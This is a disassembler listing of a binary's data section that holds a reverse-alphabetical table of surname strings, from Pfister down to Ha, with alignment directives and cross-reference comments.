aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E690o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E68Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E688o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E684o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E680o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E67Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E678o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E674o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E670o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E66Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E668o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E664o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E660o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E65Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E658o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E654o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E650o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E64Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E648o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E644o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E640o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E63Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E638o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E634o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E630o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E62Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E628o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E624o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E620o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E61Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E618o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E614o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E610o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E60Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E608o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E604o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E600o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E5FCo
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E5F8o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E5F4o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E5F0o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5ECo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5E8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5E4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5E0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5DCo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5D8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5D4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5D0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5CCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5C8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5C4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5C0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5B8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5B4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5B0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5ACo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5A8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5A4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5A0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E59Co
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E598o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E594o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E590o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E58Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E588o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E584o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E580o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E57Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E578o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E574o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E570o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E56Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E568o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E564o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E560o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E55Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E558o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E554o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E550o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E54Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E548o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E544o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E540o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E53Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E538o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E534o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E530o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E52Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E528o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E524o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E520o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E51Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E518o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E514o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E510o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E50Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E508o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E504o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E500o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E4FCo
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E4F8o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E4F4o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E4F0o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4ECo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4E8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4E4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4E0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4DCo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4D8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4D4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4D0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4CCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4C8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4C4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4C0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4BCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4B8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4B4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4B0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4ACo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4A8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4A4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4A0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E49Co
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E498o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E494o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E490o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E488o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E484o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E480o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E47Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E478o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E474o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E470o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E46Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E468o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E464o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E460o
		align 4
aMazzali	db 'Mazzali',0
aMay		db 'May',0
aMauzy		db 'Mauzy',0
		align 10h
aMattson	db 'Mattson',0
aMatsukata	db 'Matsukata',0
		align 4
aMatarazzo	db 'Matarazzo',0
		align 10h
aMatalka	db 'Matalka',0
aMass		db 'Mass',0
		align 10h
aMarubini	db 'Marubini',0
		align 4
aMarton		db 'Marton',0
		align 4
aMartochio	db 'Martochio',0
		align 10h
aMartinez	db 'Martinez',0
		align 4
aMarques	db 'Marques',0
aMargetts	db 'Margetts',0
		align 10h
aMargalit	db 'Margalit',0
		align 4
aMarcus		db 'Marcus',0
		align 4
aMarchbanks	db 'Marchbanks',0
		align 10h
aMarch		db 'March',0
		align 4
aMantovan	db 'Mantovan',0
		align 4
aManganiello	db 'Manganiello',0
aMandel		db 'Mandel',0
		align 4
aManalis	db 'Manalis',0
aMalova		db 'Malova',0
		align 4
aMaller		db 'Maller',0
		align 10h
aMalatesta	db 'Malatesta',0
		align 4
aMaisano	db 'Maisano',0
aMaineHershey	db 'Maine-Hershey',0
		align 4
aMaier		db 'Maier',0
		align 4
aMahony		db 'Mahony',0
		align 4
aMaggio		db 'Maggio',0
		align 4
aMadigan	db 'Madigan',0
aMacy		db 'Macy',0
		align 4
aMacmillan	db 'MacMillan',0
		align 4
aMackenney	db 'Mackenney',0
		align 4
aMacintyre	db 'Macintyre',0
		align 10h
aMaceachern	db 'Maceachern',0
		align 4
aMacdonald	db 'Macdonald',0
		align 4
aMaccormac	db 'Maccormac',0
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3C4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3C0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3BCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3B8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3B4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3B0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3ACo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3A8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3A4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3A0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E39Co
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E398o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E394o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E390o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E38Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E388o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E384o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E380o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E37Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E378o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E374o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E370o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E36Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E368o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E364o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E360o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E35Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E358o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E354o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E350o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E34Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E348o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E344o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E340o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E33Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E338o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E334o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E330o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E32Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E328o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E324o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E320o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E31Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E318o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E314o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E310o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E30Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E308o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E304o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E300o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E2FCo
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E2F8o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E2F4o
					; ___:0043294Co
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E2F0o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2ECo
					; ___:off_4327E8o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2E8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2E4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2E0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2DCo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2D4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2D0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2CCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2C8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2C4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2C0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2BCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2B8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2B4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2ACo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2A4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2A0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E29Co
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E298o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E294o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E290o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E28Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E288o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E284o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E280o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E27Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E278o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E274o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E270o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E26Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E268o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E264o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E260o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E25Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E258o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E254o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E250o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E24Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E248o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E244o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E240o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E23Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E238o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E234o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E230o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E22Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E228o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E224o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E220o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E21Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E218o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E214o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E210o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E20Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E208o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E204o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E200o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E1FCo
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E1F8o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E1F4o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E1F0o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1ECo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1E8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1E4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1E0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1DCo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1D8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1D4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1D0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1CCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1C8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1C4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1C0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1BCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1B8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1B4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1B0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1ACo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1A8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1A4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1A0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E19Co
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E198o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E194o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E190o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E18Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E188o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E184o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E180o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E17Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E178o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E174o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E170o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E16Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E168o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E164o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E160o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E15Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E158o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E154o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E150o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E14Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E148o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E144o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E140o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E13Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E138o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E134o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E130o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E12Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E128o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E124o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E120o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E11Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E118o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E114o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E110o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E10Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E108o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E104o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E100o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E0FCo
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E0F4o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E0F0o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0ECo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0E8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0E4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0E0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0DCo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0D4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0D0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0C8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0C4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0C0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0B8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0B4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0B0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0ACo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0A8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0A4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0A0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E09Co
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E098o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E094o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E090o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E08Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E088o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E084o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E080o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E07Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E078o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E074o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E070o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E06Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E068o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E064o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E060o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E05Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E058o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E054o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E050o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E04Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E048o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E044o
		align 10h
